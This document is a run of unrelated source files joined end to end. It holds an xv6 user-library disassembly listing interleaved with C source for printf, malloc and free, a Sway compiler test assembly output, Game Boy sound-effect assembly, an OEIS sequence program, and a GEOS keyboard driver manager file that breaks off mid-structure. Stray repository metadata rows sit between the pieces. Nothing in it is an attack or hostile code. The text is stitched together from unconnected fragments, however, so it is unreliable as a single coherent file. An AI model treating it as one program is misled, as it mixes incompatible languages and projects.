000002c2 <open>:
SYSCALL(open)
2c2: b8 0f 00 00 00 mov $0xf,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <mknod>:
SYSCALL(mknod)
2ca: b8 11 00 00 00 mov $0x11,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <unlink>:
SYSCALL(unlink)
2d2: b8 12 00 00 00 mov $0x12,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <fstat>:
SYSCALL(fstat)
2da: b8 08 00 00 00 mov $0x8,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <link>:
SYSCALL(link)
2e2: b8 13 00 00 00 mov $0x13,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <mkdir>:
SYSCALL(mkdir)
2ea: b8 14 00 00 00 mov $0x14,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <chdir>:
SYSCALL(chdir)
2f2: b8 09 00 00 00 mov $0x9,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <dup>:
SYSCALL(dup)
2fa: b8 0a 00 00 00 mov $0xa,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <getpid>:
SYSCALL(getpid)
302: b8 0b 00 00 00 mov $0xb,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <sbrk>:
SYSCALL(sbrk)
30a: b8 0c 00 00 00 mov $0xc,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <sleep>:
SYSCALL(sleep)
312: b8 0d 00 00 00 mov $0xd,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <waitx>:
SYSCALL(waitx)
31a: b8 16 00 00 00 mov $0x16,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <getpinfo>:
SYSCALL(getpinfo)
322: b8 17 00 00 00 mov $0x17,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <cps>:
SYSCALL(cps)
32a: b8 18 00 00 00 mov $0x18,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <set_priority>:
332: b8 19 00 00 00 mov $0x19,%eax
337: cd 40 int $0x40
339: c3 ret
33a: 66 90 xchg %ax,%ax
33c: 66 90 xchg %ax,%ax
33e: 66 90 xchg %ax,%ax
00000340 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
340: 55 push %ebp
341: 89 e5 mov %esp,%ebp
343: 57 push %edi
344: 56 push %esi
345: 53 push %ebx
346: 89 c6 mov %eax,%esi
348: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
34b: 8b 5d 08 mov 0x8(%ebp),%ebx
34e: 85 db test %ebx,%ebx
350: 74 7e je 3d0 <printint+0x90>
352: 89 d0 mov %edx,%eax
354: c1 e8 1f shr $0x1f,%eax
357: 84 c0 test %al,%al
359: 74 75 je 3d0 <printint+0x90>
neg = 1;
x = -xx;
35b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
35d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
364: f7 d8 neg %eax
366: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
369: 31 ff xor %edi,%edi
36b: 8d 5d d7 lea -0x29(%ebp),%ebx
36e: 89 ce mov %ecx,%esi
370: eb 08 jmp 37a <printint+0x3a>
372: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
378: 89 cf mov %ecx,%edi
37a: 31 d2 xor %edx,%edx
37c: 8d 4f 01 lea 0x1(%edi),%ecx
37f: f7 f6 div %esi
381: 0f b6 92 08 07 00 00 movzbl 0x708(%edx),%edx
}while((x /= base) != 0);
388: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
38a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
38d: 75 e9 jne 378 <printint+0x38>
if(neg)
38f: 8b 45 c4 mov -0x3c(%ebp),%eax
392: 8b 75 c0 mov -0x40(%ebp),%esi
395: 85 c0 test %eax,%eax
397: 74 08 je 3a1 <printint+0x61>
buf[i++] = '-';
399: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
39e: 8d 4f 02 lea 0x2(%edi),%ecx
3a1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
3a5: 8d 76 00 lea 0x0(%esi),%esi
3a8: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3ab: 83 ec 04 sub $0x4,%esp
3ae: 83 ef 01 sub $0x1,%edi
3b1: 6a 01 push $0x1
3b3: 53 push %ebx
3b4: 56 push %esi
3b5: 88 45 d7 mov %al,-0x29(%ebp)
3b8: e8 e5 fe ff ff call 2a2 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
3bd: 83 c4 10 add $0x10,%esp
3c0: 39 df cmp %ebx,%edi
3c2: 75 e4 jne 3a8 <printint+0x68>
putc(fd, buf[i]);
}
3c4: 8d 65 f4 lea -0xc(%ebp),%esp
3c7: 5b pop %ebx
3c8: 5e pop %esi
3c9: 5f pop %edi
3ca: 5d pop %ebp
3cb: c3 ret
3cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
3d0: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3d2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3d9: eb 8b jmp 366 <printint+0x26>
3db: 90 nop
3dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000003e0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3e0: 55 push %ebp
3e1: 89 e5 mov %esp,%ebp
3e3: 57 push %edi
3e4: 56 push %esi
3e5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3e6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3e9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3ec: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3ef: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3f2: 89 45 d0 mov %eax,-0x30(%ebp)
3f5: 0f b6 1e movzbl (%esi),%ebx
3f8: 83 c6 01 add $0x1,%esi
3fb: 84 db test %bl,%bl
3fd: 0f 84 b0 00 00 00 je 4b3 <printf+0xd3>
403: 31 d2 xor %edx,%edx
405: eb 39 jmp 440 <printf+0x60>
407: 89 f6 mov %esi,%esi
409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
410: 83 f8 25 cmp $0x25,%eax
413: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
416: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
41b: 74 18 je 435 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
41d: 8d 45 e2 lea -0x1e(%ebp),%eax
420: 83 ec 04 sub $0x4,%esp
423: 88 5d e2 mov %bl,-0x1e(%ebp)
426: 6a 01 push $0x1
428: 50 push %eax
429: 57 push %edi
42a: e8 73 fe ff ff call 2a2 <write>
42f: 8b 55 d4 mov -0x2c(%ebp),%edx
432: 83 c4 10 add $0x10,%esp
435: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
438: 0f b6 5e ff movzbl -0x1(%esi),%ebx
43c: 84 db test %bl,%bl
43e: 74 73 je 4b3 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
440: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
442: 0f be cb movsbl %bl,%ecx
445: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
448: 74 c6 je 410 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
44a: 83 fa 25 cmp $0x25,%edx
44d: 75 e6 jne 435 <printf+0x55>
if(c == 'd'){
44f: 83 f8 64 cmp $0x64,%eax
452: 0f 84 f8 00 00 00 je 550 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
458: 81 e1 f7 00 00 00 and $0xf7,%ecx
45e: 83 f9 70 cmp $0x70,%ecx
461: 74 5d je 4c0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
463: 83 f8 73 cmp $0x73,%eax
466: 0f 84 84 00 00 00 je 4f0 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
46c: 83 f8 63 cmp $0x63,%eax
46f: 0f 84 ea 00 00 00 je 55f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
475: 83 f8 25 cmp $0x25,%eax
478: 0f 84 c2 00 00 00 je 540 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
47e: 8d 45 e7 lea -0x19(%ebp),%eax
481: 83 ec 04 sub $0x4,%esp
484: c6 45 e7 25 movb $0x25,-0x19(%ebp)
488: 6a 01 push $0x1
48a: 50 push %eax
48b: 57 push %edi
48c: e8 11 fe ff ff call 2a2 <write>
491: 83 c4 0c add $0xc,%esp
494: 8d 45 e6 lea -0x1a(%ebp),%eax
497: 88 5d e6 mov %bl,-0x1a(%ebp)
49a: 6a 01 push $0x1
49c: 50 push %eax
49d: 57 push %edi
49e: 83 c6 01 add $0x1,%esi
4a1: e8 fc fd ff ff call 2a2 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4a6: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
4aa: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4ad: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4af: 84 db test %bl,%bl
4b1: 75 8d jne 440 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
4b3: 8d 65 f4 lea -0xc(%ebp),%esp
4b6: 5b pop %ebx
4b7: 5e pop %esi
4b8: 5f pop %edi
4b9: 5d pop %ebp
4ba: c3 ret
4bb: 90 nop
4bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
4c0: 83 ec 0c sub $0xc,%esp
4c3: b9 10 00 00 00 mov $0x10,%ecx
4c8: 6a 00 push $0x0
4ca: 8b 5d d0 mov -0x30(%ebp),%ebx
4cd: 89 f8 mov %edi,%eax
4cf: 8b 13 mov (%ebx),%edx
4d1: e8 6a fe ff ff call 340 <printint>
ap++;
4d6: 89 d8 mov %ebx,%eax
4d8: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4db: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
4dd: 83 c0 04 add $0x4,%eax
4e0: 89 45 d0 mov %eax,-0x30(%ebp)
4e3: e9 4d ff ff ff jmp 435 <printf+0x55>
4e8: 90 nop
4e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
4f0: 8b 45 d0 mov -0x30(%ebp),%eax
4f3: 8b 18 mov (%eax),%ebx
ap++;
4f5: 83 c0 04 add $0x4,%eax
4f8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
4fb: b8 00 07 00 00 mov $0x700,%eax
500: 85 db test %ebx,%ebx
502: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
505: 0f b6 03 movzbl (%ebx),%eax
508: 84 c0 test %al,%al
50a: 74 23 je 52f <printf+0x14f>
50c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
510: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
513: 8d 45 e3 lea -0x1d(%ebp),%eax
516: 83 ec 04 sub $0x4,%esp
519: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
51b: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
51e: 50 push %eax
51f: 57 push %edi
520: e8 7d fd ff ff call 2a2 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
525: 0f b6 03 movzbl (%ebx),%eax
528: 83 c4 10 add $0x10,%esp
52b: 84 c0 test %al,%al
52d: 75 e1 jne 510 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
52f: 31 d2 xor %edx,%edx
531: e9 ff fe ff ff jmp 435 <printf+0x55>
536: 8d 76 00 lea 0x0(%esi),%esi
539: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
540: 83 ec 04 sub $0x4,%esp
543: 88 5d e5 mov %bl,-0x1b(%ebp)
546: 8d 45 e5 lea -0x1b(%ebp),%eax
549: 6a 01 push $0x1
54b: e9 4c ff ff ff jmp 49c <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
550: 83 ec 0c sub $0xc,%esp
553: b9 0a 00 00 00 mov $0xa,%ecx
558: 6a 01 push $0x1
55a: e9 6b ff ff ff jmp 4ca <printf+0xea>
55f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
562: 83 ec 04 sub $0x4,%esp
565: 8b 03 mov (%ebx),%eax
567: 6a 01 push $0x1
569: 88 45 e4 mov %al,-0x1c(%ebp)
56c: 8d 45 e4 lea -0x1c(%ebp),%eax
56f: 50 push %eax
570: 57 push %edi
571: e8 2c fd ff ff call 2a2 <write>
576: e9 5b ff ff ff jmp 4d6 <printf+0xf6>
57b: 66 90 xchg %ax,%ax
57d: 66 90 xchg %ax,%ax
57f: 90 nop
00000580 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
580: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
581: a1 9c 09 00 00 mov 0x99c,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
586: 89 e5 mov %esp,%ebp
588: 57 push %edi
589: 56 push %esi
58a: 53 push %ebx
58b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
58e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
590: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
593: 39 c8 cmp %ecx,%eax
595: 73 19 jae 5b0 <free+0x30>
597: 89 f6 mov %esi,%esi
599: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
5a0: 39 d1 cmp %edx,%ecx
5a2: 72 1c jb 5c0 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5a4: 39 d0 cmp %edx,%eax
5a6: 73 18 jae 5c0 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
5a8: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5aa: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5ac: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5ae: 72 f0 jb 5a0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5b0: 39 d0 cmp %edx,%eax
5b2: 72 f4 jb 5a8 <free+0x28>
5b4: 39 d1 cmp %edx,%ecx
5b6: 73 f0 jae 5a8 <free+0x28>
5b8: 90 nop
5b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
5c0: 8b 73 fc mov -0x4(%ebx),%esi
5c3: 8d 3c f1 lea (%ecx,%esi,8),%edi
5c6: 39 d7 cmp %edx,%edi
5c8: 74 19 je 5e3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
5ca: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
5cd: 8b 50 04 mov 0x4(%eax),%edx
5d0: 8d 34 d0 lea (%eax,%edx,8),%esi
5d3: 39 f1 cmp %esi,%ecx
5d5: 74 23 je 5fa <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
5d7: 89 08 mov %ecx,(%eax)
freep = p;
5d9: a3 9c 09 00 00 mov %eax,0x99c
}
5de: 5b pop %ebx
5df: 5e pop %esi
5e0: 5f pop %edi
5e1: 5d pop %ebp
5e2: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
5e3: 03 72 04 add 0x4(%edx),%esi
5e6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
5e9: 8b 10 mov (%eax),%edx
5eb: 8b 12 mov (%edx),%edx
5ed: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
5f0: 8b 50 04 mov 0x4(%eax),%edx
5f3: 8d 34 d0 lea (%eax,%edx,8),%esi
5f6: 39 f1 cmp %esi,%ecx
5f8: 75 dd jne 5d7 <free+0x57>
p->s.size += bp->s.size;
5fa: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
5fd: a3 9c 09 00 00 mov %eax,0x99c
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
602: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
605: 8b 53 f8 mov -0x8(%ebx),%edx
608: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
60a: 5b pop %ebx
60b: 5e pop %esi
60c: 5f pop %edi
60d: 5d pop %ebp
60e: c3 ret
60f: 90 nop
00000610 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
610: 55 push %ebp
611: 89 e5 mov %esp,%ebp
613: 57 push %edi
614: 56 push %esi
615: 53 push %ebx
616: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
619: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
61c: 8b 15 9c 09 00 00 mov 0x99c,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
622: 8d 78 07 lea 0x7(%eax),%edi
625: c1 ef 03 shr $0x3,%edi
628: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
62b: 85 d2 test %edx,%edx
62d: 0f 84 a3 00 00 00 je 6d6 <malloc+0xc6>
633: 8b 02 mov (%edx),%eax
635: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
638: 39 cf cmp %ecx,%edi
63a: 76 74 jbe 6b0 <malloc+0xa0>
63c: 81 ff 00 10 00 00 cmp $0x1000,%edi
642: be 00 10 00 00 mov $0x1000,%esi
647: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
64e: 0f 43 f7 cmovae %edi,%esi
651: ba 00 80 00 00 mov $0x8000,%edx
656: 81 ff ff 0f 00 00 cmp $0xfff,%edi
65c: 0f 46 da cmovbe %edx,%ebx
65f: eb 10 jmp 671 <malloc+0x61>
661: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
668: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
66a: 8b 48 04 mov 0x4(%eax),%ecx
66d: 39 cf cmp %ecx,%edi
66f: 76 3f jbe 6b0 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
671: 39 05 9c 09 00 00 cmp %eax,0x99c
677: 89 c2 mov %eax,%edx
679: 75 ed jne 668 <malloc+0x58>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
67b: 83 ec 0c sub $0xc,%esp
67e: 53 push %ebx
67f: e8 86 fc ff ff call 30a <sbrk>
if(p == (char*)-1)
684: 83 c4 10 add $0x10,%esp
687: 83 f8 ff cmp $0xffffffff,%eax
68a: 74 1c je 6a8 <malloc+0x98>
return 0;
hp = (Header*)p;
hp->s.size = nu;
68c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
68f: 83 ec 0c sub $0xc,%esp
692: 83 c0 08 add $0x8,%eax
695: 50 push %eax
696: e8 e5 fe ff ff call 580 <free>
return freep;
69b: 8b 15 9c 09 00 00 mov 0x99c,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
6a1: 83 c4 10 add $0x10,%esp
6a4: 85 d2 test %edx,%edx
6a6: 75 c0 jne 668 <malloc+0x58>
return 0;
6a8: 31 c0 xor %eax,%eax
6aa: eb 1c jmp 6c8 <malloc+0xb8>
6ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
6b0: 39 cf cmp %ecx,%edi
6b2: 74 1c je 6d0 <malloc+0xc0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
6b4: 29 f9 sub %edi,%ecx
6b6: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
6b9: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
6bc: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
6bf: 89 15 9c 09 00 00 mov %edx,0x99c
return (void*)(p + 1);
6c5: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
6c8: 8d 65 f4 lea -0xc(%ebp),%esp
6cb: 5b pop %ebx
6cc: 5e pop %esi
6cd: 5f pop %edi
6ce: 5d pop %ebp
6cf: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
6d0: 8b 08 mov (%eax),%ecx
6d2: 89 0a mov %ecx,(%edx)
6d4: eb e9 jmp 6bf <malloc+0xaf>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
6d6: c7 05 9c 09 00 00 a0 movl $0x9a0,0x99c
6dd: 09 00 00
6e0: c7 05 a0 09 00 00 a0 movl $0x9a0,0x9a0
6e7: 09 00 00
base.s.size = 0;
6ea: b8 a0 09 00 00 mov $0x9a0,%eax
6ef: c7 05 a4 09 00 00 00 movl $0x0,0x9a4
6f6: 00 00 00
6f9: e9 3e ff ff ff jmp 63c <malloc+0x2c>
| 29.847354 | 60 | 0.410706 | [
"MIT-0"
] | anishkasachdeva/XV6_Operating_System | loop.asm | 43,995 | Assembly |
.program:
ji i4
noop
DATA_SECTION_OFFSET[0..32]
DATA_SECTION_OFFSET[32..64]
lw $ds $is 1
add $$ds $$ds $is
move $r2 $sp ; save locals base register
cfei i16 ; allocate 16 bytes for all locals
move $r1 $sp ; save register for temporary stack value
cfei i16 ; allocate 16 bytes for temporary struct
lw $r0 data_0 ; literal instantiation
sw $r1 $r0 i0 ; insert_value @ 0
lw $r0 data_1 ; literal instantiation
sw $r1 $r0 i1 ; insert_value @ 1
addi $r0 $r2 i0 ; get offset reg for get_ptr
addi $r0 $r2 i0 ; get store offset
mcpi $r0 $r1 i16 ; store value
addi $r1 $r2 i0 ; get offset reg for get_ptr
lw $r0 data_2 ; literal instantiation
sw $r1 $r0 i0 ; insert_value @ 0
addi $r0 $r2 i0 ; get offset reg for get_ptr
lw $r0 $r0 i1 ; extract_value @ 1
ret $r0
.data:
data_0 .u64 0x28
data_1 .u64 0x02
data_2 .u64 0x32
| 37.034483 | 71 | 0.545624 | [
"Apache-2.0"
] | FuelLabs/sway | sway-core/tests/ir_to_asm/mutable_struct.asm | 1,074 | Assembly |
SFX_Battle_0F_Ch1:
unknownnoise0x20 2, 225, 75
unknownnoise0x20 10, 241, 68
unknownnoise0x20 2, 225, 58
unknownnoise0x20 6, 241, 52
endchannel
| 21.142857 | 29 | 0.783784 | [
"Unlicense"
] | adhi-thirumala/EvoYellow | audio/sfx/battle_0f.asm | 148 | Assembly |
SFX_Battle_1C_Ch1:
unknownnoise0x20 2, 194, 1
unknownnoise0x20 15, 244, 1
unknownnoise0x20 15, 242, 1
endchannel
| 19.5 | 28 | 0.786325 | [
"Unlicense"
] | adhi-thirumala/EvoYellow | audio/sfx/battle_1c.asm | 117 | Assembly |
; A163758: a(n) = 9*n*(n+1).
; 0,18,54,108,180,270,378,504,648,810,990,1188,1404,1638,1890,2160,2448,2754,3078,3420,3780,4158,4554,4968,5400,5850,6318,6804,7308,7830,8370,8928,9504,10098,10710,11340,11988,12654,13338,14040,14760,15498,16254,17028,17820,18630,19458,20304,21168,22050,22950,23868,24804,25758,26730,27720,28728,29754,30798,31860,32940,34038,35154,36288,37440,38610,39798,41004,42228,43470,44730,46008,47304,48618,49950,51300,52668,54054,55458,56880,58320,59778,61254,62748,64260,65790,67338,68904,70488,72090,73710
sub $1,$0
bin $1,2
mul $1,18
mov $0,$1
| 71.125 | 499 | 0.775044 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/163/A163758.asm | 569 | Assembly |
USE32
ALIGN 4096
section .diskdata
incbin "/home/chetan/Documents/Unikernel-Serverless/Kernels/echo/build/memdisk.fat"
| 24.4 | 86 | 0.811475 | [
"MIT"
] | bitvijays/EdgeKernel | Kernels/IncludeOS/echo/build/memdisk.asm | 122 | Assembly |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC/GEOS
FILE: keyboard.asm
AUTHOR: Gene Anderson, Jul 8, 1991
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 7/ 8/91 Initial revision
DESCRIPTION:
Manager file for keyboard driver
$Id: keyboard.asm,v 1.1 97/04/18 11:47:14 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
include keyboardGeode.def
include keyboardConstant.def
idata segment
;
; number of accentables
;
_NUM_ACCENTABLES equ KBD_NUM_ACCENTABLES
include kmapGermanExt.def
idata ends
include keyboardVariable.def
include keyboardHotkey.asm
include keyboardInit.asm
include keyboardProcess.asm
include keyboardUtils.asm
KbdExtendedInfoSeg segment lmem LMEM_TYPE_GENERAL
DriverExtendedInfoTable <
{},
